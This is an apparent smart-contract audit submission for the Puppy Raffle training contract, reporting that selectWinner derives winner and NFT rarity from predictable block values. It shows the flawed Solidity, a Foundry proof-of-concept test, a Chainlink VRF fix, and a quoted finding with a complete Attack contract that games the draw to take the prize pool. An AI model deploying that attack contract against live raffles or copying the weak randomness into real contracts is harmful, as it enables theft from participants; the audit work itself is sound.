Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Predictable Pseudo-Randomness in `PuppyRaffle::selectWinner` Enables Winner and NFT Rarity Manipulation

farhandavin14

[H-02] Predictable Pseudo-Randomness in PuppyRaffle::selectWinner Enables Winner and NFT Rarity Manipulation

Description

  • The protocol is intended to randomly select a winner from active raffle participants and generate an NFT with a provably unpredictable rarity tier (common, rare, legendary).

  • The contract computes both winnerIndex and rarity using publicly accessible on-chain block variables (block.timestamp, block.difficulty, and msg.sender). These values are known or determinable by participants and block validators before transactions finalize, allowing attackers to calculate and manipulate outcomes.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
...
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
...
}

Risk

Likelihood:

  • Anyone can call selectWinner once the raffle duration has elapsed, allowing callers to simulate execution off-chain and only broadcast the transaction when they are the designated winner.

  • Miners/validators produce blocks with chosen timestamps and difficulties, granting them direct control over the modulo outcome.

Impact:

  • Attackers guarantee themselves the winner payout, stealing funds from all legitimate participants.

  • Attackers manipulate the minting logic to only mint high-value legendary puppy NFTs, destroying the rarity economy.

Proof of Concept

function test_predictWinnerAndRarity() public {
// Legitimate entrants join
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + duration + 1);
​
// Attacker simulates winnerIndex locally before executing
address attacker = makeAddr("attacker");
uint256 predictedWinnerIndex = uint256(keccak256(abi.encodePacked(attacker, block.timestamp, block.difficulty))) % 4;
​
// Attacker only triggers selectWinner when the computed winner is their desired address
vm.prank(attacker);
puppyRaffle.selectWinner();
assertEq(puppyRaffle.previousWinner(), players[predictedWinnerIndex]);
}

Recommended Mitigation

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
- uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
+ // Use Chainlink VRF (Verifiable Random Function) v2 to request and receive verified randomness
+ // Request random words via VRFCoordinatorV2Interface and fulfill randomness in fulfillRandomWords callback
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!